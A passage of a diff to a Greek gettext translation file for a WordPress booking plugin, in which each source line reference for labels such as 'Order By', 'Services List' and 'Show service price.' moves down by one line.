assets\u002Fjs\u002Fgutenberg-blocks.js:11534\n msgid \"Show contact information.\"\n msgstr \"\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeesListModule.php:67\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeesListWidget.php:84\n #: includes\u002Fshortcodes\u002FEmployeesListShortcode.php:61\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11541\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11542\n msgid \"Show social networks.\"\n msgstr \"\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeesListModule.php:77\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeesListWidget.php:94\n #: includes\u002Fshortcodes\u002FEmployeesListShortcode.php:66\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11549\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11550\n msgid \"Show additional information.\"\n msgstr \"\"\n \n@@ -1720,7 +1710,7 @@\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeesListWidget.php:107\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FEmployeesListMetabox.php:60\n #: includes\u002Fshortcodes\u002FEmployeesListShortcode.php:71\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11558\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11559\n msgid \"Comma-separated slugs or IDs of employees that will be shown.\"\n msgstr \"\"\n \n@@ -1734,8 +1724,8 @@\n #: includes\u002Fpost-types\u002FLocationPostType.php:77\n #: assets\u002Fjs\u002Fanalytics-page.js:33420\n #: assets\u002Fjs\u002Fcalendar-page.js:45397\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11566\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11828\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11567\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11829\n msgid \"Locations\"\n msgstr \"Τοποθεσίες\"\n \n@@ -1743,8 +1733,8 @@\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeesListWidget.php:117\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FEmployeesListMetabox.php:66\n #: includes\u002Fshortcodes\u002FEmployeesListShortcode.php:76\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11567\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11829\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11568\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11830\n msgid \"Comma-separated slugs or IDs of locations.\"\n msgstr \"\"\n \n@@ -1757,9 +1747,9 @@\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FEmployeesListMetabox.php:71\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FLocationsListMetabox.php:68\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:84\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11575\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11846\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12500\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11576\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11847\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12501\n msgid \"Posts Per Page\"\n msgstr \"\"\n \n@@ -1777,10 +1767,10 @@\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:96\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:91\n #: includes\u002Fwidgets\u002FAppointmentFormWidget.php:237\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11584\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11855\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12170\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12509\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11585\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11856\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12171\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12510\n msgid \"Columns Count\"\n msgstr \"\"\n \n@@ -1798,10 +1788,10 @@\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:92\n #: includes\u002Fshortcodes\u002FAbstractPostsListShortcode.php:29\n #: includes\u002Fshortcodes\u002FAbstractTermsListShortcode.php:30\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11585\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11856\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12171\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12510\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11586\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11857\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12172\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12511\n msgid \"The number of columns in the grid.\"\n msgstr \"\"\n \n@@ -1815,10 +1805,10 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:178\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:59\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:54\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11594\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11865\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12180\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12519\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11595\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11866\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12181\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12520\n msgid \"Order By\"\n msgstr \"\"\n \n@@ -1832,10 +1822,10 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:182\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:39\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:40\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11601\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11872\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12187\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12526\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11602\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11873\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12188\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12527\n msgid \"No order\"\n msgstr \"\"\n \n@@ -1846,9 +1836,9 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:124\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:183\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:40\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11604\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11875\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12529\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11605\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11876\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12530\n msgid \"Post ID\"\n msgstr \"\"\n \n@@ -1859,9 +1849,9 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:125\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:184\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:41\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11607\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11878\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12532\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11608\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11879\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12533\n msgid \"Post author\"\n msgstr \"\"\n \n@@ -1875,9 +1865,9 @@\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FLocationsListMetabox.php:49\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:49\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:42\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11610\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11881\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12535\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11611\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11882\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12536\n msgid \"Post title\"\n msgstr \"Τίτλος Άρθρου\"\n \n@@ -1888,9 +1878,9 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:127\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:186\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:43\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11613\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11884\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12538\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11614\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11885\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12539\n msgid \"Post name (post slug)\"\n msgstr \"\"\n \n@@ -1901,9 +1891,9 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:128\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:187\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:44\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11616\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11887\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12541\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11617\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11888\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12542\n msgid \"Post date\"\n msgstr \"\"\n \n@@ -1914,9 +1904,9 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:129\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:188\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:45\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11619\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11890\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12544\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11620\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11891\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12545\n msgid \"Last modified date\"\n msgstr \"\"\n \n@@ -1927,9 +1917,9 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:130\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:189\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:46\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11622\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11893\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12547\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11623\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11894\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12548\n msgid \"Random order\"\n msgstr \"\"\n \n@@ -1940,9 +1930,9 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:131\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:190\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:47\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11625\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11896\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12550\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11626\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11897\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12551\n msgid \"Relevance\"\n msgstr \"\"\n \n@@ -1956,10 +1946,10 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:191\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:48\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:48\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11628\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11899\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12211\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12553\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11629\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11900\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12212\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12554\n msgid \"Page order\"\n msgstr \"Διάταξη σελίδων\"\n \n@@ -1970,9 +1960,9 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:133\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:192\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:49\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11631\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11902\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12556\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11632\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11903\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12557\n msgid \"Page order and post title\"\n msgstr \"\"\n \n@@ -1984,10 +1974,10 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:146\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:178\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:206\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11641\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11912\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12221\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12569\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11642\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11913\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12222\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12570\n msgid \"DESC\"\n msgstr \"\"\n \n@@ -2001,24 +1991,24 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:207\n #: includes\u002Fshortcodes\u002FAbstractPostsListShortcode.php:42\n #: includes\u002Fshortcodes\u002FAbstractTermsListShortcode.php:43\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11644\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11915\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12224\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12572\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11645\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11916\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12225\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12573\n msgid \"ASC\"\n msgstr \"\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeeSocialNetworksModule.php:20\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeSocialNetworksWidget.php:25\n #: includes\u002Fshortcodes\u002Fsingle-employee\u002FEmployeeSocialNetworksShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13481\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13482\n msgid \"Employee Social Networks\"\n msgstr \"\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeeTitleModule.php:20\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeTitleWidget.php:25\n #: includes\u002Fshortcodes\u002Fsingle-employee\u002FEmployeeTitleShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12866\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12867\n msgid \"Employee Title\"\n msgstr \"\"\n \n@@ -2026,7 +2016,7 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:25\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FLocationsListMetabox.php:29\n #: includes\u002Fshortcodes\u002FLocationsListShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11963\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11964\n msgid \"Locations List\"\n msgstr \"\"\n \n@@ -2048,9 +2038,9 @@\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:72\n #: includes\u002Fpost-types\u002FLocationPostType.php:124\n #: includes\u002Fpost-types\u002FServicePostType.php:164\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11837\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12123\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12482\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11838\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12124\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12483\n msgid \"Categories\"\n msgstr \"Kατηγορίες\"\n \n@@ -2066,9 +2056,9 @@\n #: includes\u002Fshortcodes\u002FLocationsListShortcode.php:61\n #: includes\u002Fshortcodes\u002FServiceCategoriesShortcode.php:64\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:86\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11838\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12124\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12483\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11839\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12125\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12484\n msgid \"Comma-separated slugs or IDs of categories that will be shown.\"\n msgstr \"\"\n \n@@ -2078,26 +2068,26 @@\n #: includes\u002Fpost-types\u002FServicePostType.php:149\n #: includes\u002Fpost-types\u002FServicePostType.php:252\n #: includes\u002Fshortcodes\u002FServiceCategoriesShortcode.php:31\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12272\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12273\n msgid \"Service Categories\"\n msgstr \"\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:37\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:53\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12098\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12099\n msgid \"Show Services Count?\"\n msgstr \"\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:47\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:63\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12106\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12107\n msgid \"Show Description?\"\n msgstr \"\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:57\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:73\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:56\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12114\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12115\n msgid \"Parent\"\n msgstr \"\"\n \n@@ -2105,14 +2095,14 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:76\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:57\n #: includes\u002Fshortcodes\u002FServiceCategoriesShortcode.php:58\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12115\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12116\n msgid \"Parent term slug or ID to retrieve direct-child terms from.\"\n msgstr \"\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:69\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:93\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:68\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12132\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12133\n msgid \"Exclude Categories\"\n msgstr \"\"\n \n@@ -2120,21 +2110,21 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:96\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:69\n #: includes\u002Fshortcodes\u002FServiceCategoriesShortcode.php:69\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12133\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12134\n msgid \"Comma-separated slugs or IDs of categories that will not be shown.\"\n msgstr \"\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:75\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:103\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:74\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12141\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12142\n msgid \"Hide Empty\"\n msgstr \"\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:85\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:114\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:80\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12150\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12151\n msgid \"Depth\"\n msgstr \"Βάθος\"\n \n@@ -2142,14 +2132,14 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:115\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:81\n #: includes\u002Fshortcodes\u002FServiceCategoriesShortcode.php:79\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12151\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12152\n msgid \"Display depth of child categories.\"\n msgstr \"Βάθος εμφάνισης των κατηγοριών παιδιών.\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:97\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:127\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:88\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12160\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12161\n msgid \"Number\"\n msgstr \"Αριθμός\"\n \n@@ -2157,56 +2147,56 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:128\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:89\n #: includes\u002Fshortcodes\u002FAbstractTermsListShortcode.php:24\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12161\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12162\n msgid \"Maximum number of categories to show.\"\n msgstr \"Μέγιστος αριθμός κατηγοριών που θα εμφανίζονται.\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:126\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:158\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:41\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12190\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12191\n msgid \"Term name\"\n msgstr \"Όνομα όρου\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:127\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:159\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:42\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12193\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12194\n msgid \"Term slug\"\n msgstr \"Όρος slug\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:128\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:160\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:43\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12196\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12197\n msgid \"Term ID\"\n msgstr \"Όρος ID\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:129\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:161\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:44\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12199\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12200\n msgid \"Parent ID\"\n msgstr \"Γονικό ID\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:130\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:162\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:45\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12202\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12203\n msgid \"Number of associated objects\"\n msgstr \"Αριθμός συσχετιζόμενων αντικειμένων\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:131\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:163\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:46\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12205\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12206\n msgid \"Keep the order of \\\"IDs\\\" parameter\"\n msgstr \"Κρατήστε τη σειρά της παραμέτρου \\\"IDs\\\"\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:132\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:164\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:47\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12208\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12209\n msgid \"Term order\"\n msgstr \"Σειρά ταξινόμησης\"\n \n@@ -2214,35 +2204,35 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:24\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:29\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12620\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12621\n msgid \"Services List\"\n msgstr \"Λίστα Υπηρεσιών\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServicesListModule.php:57\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:73\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:56\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12432\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12433\n msgid \"Show service price.\"\n msgstr \"Εμφάνιση τιμής υπηρεσίας.\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServicesListModule.php:67\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:83\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:61\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12440\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12441\n msgid \"Show service duration.\"\n msgstr \"Διάρκεια υπηρεσίας.\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServicesListModule.php:77\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:93\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:66\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12448\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12449\n msgid \"Show service capacity.\"\n msgstr \"Εμφάνιση χωρητικότητας υπηρεσίας.\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServicesListModule.php:87\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:103\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:71\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12456\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12457\n msgid \"Show service employees.\"\n msgstr \"Εμφάνιση υπαλλήλων υπηρεσιών.\"\n \n@@ -2250,7 +2240,7 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:116\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:61\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:76\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12465\n+#: 